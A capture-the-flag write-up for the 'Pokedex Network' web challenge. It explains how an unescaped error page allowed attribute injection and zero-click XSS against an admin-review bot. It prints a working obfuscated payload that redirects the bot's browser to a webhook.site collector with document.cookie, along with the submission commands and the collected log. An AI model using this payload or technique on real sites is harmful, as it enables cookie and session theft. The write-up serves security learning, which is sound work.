N
Back to writeup archive
Hack@10 International Capture The Flag Pre-Eliminary Round 2026

Pokedex Network

Endpoint discovery, XSS reasoning, and webhook-driven proof collection.

Web ExploitationMarkdown + PDFHardsolved2 minread·528words
route
/TryN3rr0r/writeups/hack10-pre-eliminary-2026/pokedex-network
archive index
15 / 15
read mode
parsed markdown
Writeup loaded.

Pokédex Network

challenge brief
target profile, scoring, and execution stack
verified solve
target
http://34.126.187.50:5508/
category
Web Exploitation
points
500
difficulty
Hard
flag format
hack10{flag_here}
tools used
bashcurlffufgrepsedpython3Python html.parserChromium (headless)Webhook.sitewcod
final flag
hack10{d1d_y0u_gueXSS_1t?}
reveal and copy from section 5

1. Challenge Overview

The target exposed a Spring-based frontend and an Express-based /report/ bot. The challenge text strongly suggested an admin-review flow, so the goal was to find a same-origin client-side injection that the admin bot would load with privileged cookies and then exfiltrate the flag.

The intended path was a custom HTML error page on the main app. That page reflected the requested URI into an anchor tag without escaping single quotes, which made it possible to inject new attributes into the Retry Command link and obtain zero-click XSS using autofocus + onfocus.

PDF evidence frame 01

2. Initial Reconnaissance

The first step was to confirm the visible application surface and identify the report endpoint.

bash19 lines
1$ curl -i -sS http://34.126.187.50:5508/2HTTP/1.1 200 3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:12:18 GMT5Content-Type: text/html;charset=UTF-86Content-Length: 44497Connection: keep-alive8Set-Cookie: JSESSIONID=F7D91FEFDF0EFC472D9B3FCC47B2FC4D; Path=/; HttpOnly9X-Content-Type-Options: nosniff10X-XSS-Protection: 1; mode=block11Cache-Control: no-cache, no-store, max-age=0, must-revalidate12Pragma: no-cache13Expires: 014X-Frame-Options: DENY15Content-Security-Policy: default-src https://unpkg.com https://cdn.tailwindcss.com 'unsafe-eval' 'unsafe-inline' 'self'; object-src 'none';16Content-Language: en-US17<!DOCTYPE html>18<html lang="en">19...
bash14 lines
1$ curl -i -sS http://34.126.187.50:5508/report/2HTTP/1.1 200 OK3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:12:46 GMT5Content-Type: text/html; charset=utf-86Content-Length: 47627Connection: keep-alive8X-Powered-By: Express9ETag: W/"129a-OjuRRCY+NkdqrghRqyaQ7lfsj6I"10<!DOCTYPE html>11<html lang="en">12...13<p class="text-gray-500 text-sm mb-6">Submit suspicious URLs for automated analysis.</p>14...

The report endpoint immediately revealed an internal-host-only regex restriction:

bash16 lines
1$ for u in 'http://example.com' 'http://127.0.0.1/' 'http://34.126.187.50:5508/'; do printf '\\n=== %s ===\\n' "$u"; curl -i -sS -X POST http://34.126.187.50:5508/report/ --data-urlencode "url=$u"; done2=== http://example.com ===3HTTP/1.1 422 Unprocessable Entity4Server: nginx/1.29.75...6{"error":"URL din't match this regex format ^http://app:8080/.*$"}7=== http://127.0.0.1/ ===8HTTP/1.1 422 Unprocessable Entity9Server: nginx/1.29.710...11{"error":"URL din't match this regex format ^http://app:8080/.*$"}12=== http://34.126.187.50:5508/ ===13HTTP/1.1 422 Unprocessable Entity14Server: nginx/1.29.715...16{"error":"URL din't match this regex format ^http://app:8080/.*$"}

The next important recon step was forcing HTML error rendering with a browser-like Accept header:

bash27 lines
1$ curl -i -sS -H 'Accept: text/html' http://34.126.187.50:5508/blog2HTTP/1.1 404 3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:16:53 GMT5Content-Type: text/html;charset=UTF-86Content-Length: 20667Connection: keep-alive8X-Content-Type-Options: nosniff9X-XSS-Protection: 1; mode=block10Cache-Control: no-cache, no-store, max-age=0, must-revalidate11Pragma: no-cache12Expires: 013X-Frame-Options: DENY14Content-Security-Policy: default-src https://unpkg.com https://cdn.tailwindcss.com 'unsafe-eval' 'unsafe-inline' 'self'; object-src 'none';15Set-Cookie: JSESSIONID=DE302B451C4CE056522B6E0FEC90E770; Path=/; HttpOnly16Content-Language: en-US17<!DOCTYPE html>18<html lang="en">19...20<div class="mt-6 text-gray-400 text-sm">21  <span class="text-gray-600">> </span>Trace URI: <span class="text-yellow-500">/blog</span>22</div>23<div class="mt-8 pt-6 border-t border-zinc-800">24  <a href='/blog' class='text-red-500 hover:text-red-400 hover:underline mr-4 text-sm font-bold'>Retry Command</a>25  <a href='/' class='text-gray-500 hover:text-gray-300 hover:underline text-sm'>[ Return to Safe Mode ]</a>26</div>27...
PDF evidence frame 02

3. Analysis / Forensics Path

The key observation was that the custom HTML error page reflected the request URI directly into a quoted href attribute:

html1 lines
1<a href='/blog' class='text-red-500 ...'>Retry Command</a>

Injecting a raw single quote into the path broke the attribute boundary:

bash4 lines
1$ curl -i -g -sS -H 'Accept: text/html' "http://34.126.187.50:5508/'test"2...3<a href='/'test' class='text-red-500 hover:text-red-400 hover:underline mr-4 text-sm font-bold'>Retry Command</a>4...

That confirmed attribute injection. The next question was whether malformed slash-separated attributes would be parsed as real DOM attributes by a browser/parser:

bash9 lines
1$ python3 - <<'PY'2from html.parser import HTMLParser3html="<a href='/'/onclick='alert(1)' class='x'>Retry</a>"4class P(HTMLParser):5    def handle_starttag(self, tag, attrs):6        print(tag, attrs)7P().feed(html)8PY9a [('href', '/'), ('onclick', 'alert(1)'), ('class', 'x')]

That meant the following reflected fragment would become real attributes in the browser:

html1 lines
1<a href='/'/autofocus/onfocus='PAYLOAD' class='...'>Retry Command</a>

I then validated that autofocus on an anchor triggers onfocus in headless Chromium:

bash3 lines
1$ chromium --headless --no-sandbox --disable-gpu --virtual-time-budget=2000 --dump-dom 'data:text/html,<html><body><a href=%27/%27 autofocus onfocus=%27document.body.innerHTML=%22FOCUSED%22%27>x</a></body></html>' 2>/dev/null23<html><head></head><body>FOCUSED</body></html>

At that point the exploitation model was clear:

Use the error page for zero-click XSS.

Make the admin bot visit http://app:8080/<payload>.

Redirect the admin browser to a public collector with document.cookie.

Recover the flag from the leaked cookie.

PDF evidence frame 03

4. Exploitation / Recovery

The exact command chain used to generate the payload, submit it to the admin bot, and recover the flag was:

bash27 lines
1$ python3 - <<'PY'2url = 'https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee?c='3codes = ','.join(str(ord(c)) for c in url)4payload = "/'/autofocus/onfocus='location=String.fromCharCode(" + codes + ")+encodeURIComponent(document.cookie)"5print(payload)6open('artifacts/payload_url.txt','w').write(payload+'\\n')7PY8/'/autofocus/onfocus='location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,49,50,54,50,98,101,53,54,45,52,50,51,54,45,52,99,101,98,45,56,54,99,56,45,57,56,98,98,57,52,50,99,99,52,101,101,63,99,61)+encodeURIComponent(document.cookie)9$ sleep 25; URL="http://app:8080$(python3 - <<'PY'10print(open('artifacts/payload_url.txt').read().strip())11PY12)"; printf '%s\\n' "$URL" | tee artifacts/37_submit_url.txt; curl -i -sS -X POST http://34.126.187.50:5508/report/ --data-urlencode "url=$URL" | tee artifacts/38_submit_response.txt13http://app:8080/'/autofocus/onfocus='location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,49,50,54,50,98,101,53,54,45,52,50,51,54,45,52,99,101,98,45,56,54,99,56,45,57,56,98,98,57,52,50,99,99,52,101,101,63,99,61)+encodeURIComponent(document.cookie)14HTTP/1.1 200 OK15Server: nginx/1.29.716Date: Fri, 27 Mar 2026 21:23:12 GMT17Content-Type: application/json; charset=utf-818Content-Length: 4919Connection: keep-alive20X-Powered-By: Express21X-RateLimit-Limit: 522X-RateLimit-Remaining: 423X-RateLimit-Reset: 177464659724ETag: W/"31-f+H7RIglst2wqxo+x8oJvgkFcGg"25{"success":"Admin successfully visited the URL."}26$ curl -sS -H 'Accept: application/json' https://webhook.site/token/1262be56-4236-4ceb-86c8-98bb942cc4ee/requests27{"data":[{"uuid":"6e4f64cd-bb9b-42c7-876a-68c7971619cf","type":"web","token_id":"1262be56-4236-4ceb-86c8-98bb942cc4ee","team_id":null,"ip":"113.211.214.196","country":"Malaysia","country_code":"MY","region":"Selangor","city":"Shah Alam","hostname":"webhook.site","method":"GET","user_agent":"curl/8.19.0","content":"","query":null,"headers":{"accept":["*/*"],"user-agent":["curl/8.19.0"],"host":["webhook.site"]},"url":"https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee","size":0,"files":[],"created_at":"2026-03-27 21:21:07","updated_at":"2026-03-27 21:21:07","sorting":1774646467420459,"custom_action_output":[],"custom_action_errors":[],"time":0.001371145248413086},{"uuid":"4643d334-a0ee-4cbf-8d08-e3554d5e5860","type":"web","token_id":"1262be56-4236-4ceb-86c8-98bb942cc4ee","team_id":null,"ip":"34.126.187.50","country":"Singapore","country_code":"SG","region":"Singapore","city":"Singapore","hostname":"webhook.site","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/102.0.5005.182 Safari/537.36","content":"","query":{"c":"flag=hack10{d1d_y0u_gueXSS_1t?}"},"headers":{"accept-encoding":["gzip, deflate, br"],"referer":["http://app:8080/"],"sec-fetch-dest":["document"],"sec-fetch-mode":["navigate"],"sec-fetch-site":["cross-site"],"accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"],"user-agent":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/102.0.5005.182 Safari/537.36"],"upgrade-insecure-requests":["1"],"host":["webhook.site"]},"url":"https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee?c=flag%3Dhack10%7Bd1d_y0u_gueXSS_1t%3F%7D","size":0,"files":[],"created_at":"2026-03-27 21:23:06","updated_at":"2026-03-27 21:23:06","sorting":1774646586322296,"custom_action_output":[],"custom_action_errors":[],"time":0.0011069774627685547}],"total":2,"per_page":50,"current_page":1,"is_last_page":true,"from":1,"to":2}

The recovered cookie value contained the flag directly:

text1 lines
1flag=hack10{d1d_y0u_gueXSS_1t?}

5. Flag

captured flag
hack10{d1d_y0u_gueXSS_1t?}

6. Summary of Approach & Key Takeaways

Recon identified two distinct components: a Spring frontend and an Express admin-report bot.

The report bot only accepted URLs matching ^http://app:8080/.*$, so the attack had to stay same-origin to the internal app.

Browser-style Accept: text/html requests revealed a custom error page that reflected the path into an anchor href.

A raw single quote in the path broke the anchor attribute boundary, creating attribute injection.

Slash-separated malformed attributes were parsed as real DOM attributes, enabling autofocus + onfocus.

The XSS payload redirected the privileged admin browser to Webhook.site with document.cookie.

The admin bot leaked flag=hack10{d1d_y0u_gueXSS_1t?}, which yielded the final flag.

Custom error pages are often softer targets than the primary application routes.

For reflected HTML issues, always compare curl API responses with browser-like Accept: text/html behavior.

Malformed HTML parsing rules matter. Slash-separated attributes can turn an apparently broken tag into real executable attributes.

When CSP blocks arbitrary fetch, top-level navigation remains a strong exfiltration fallback.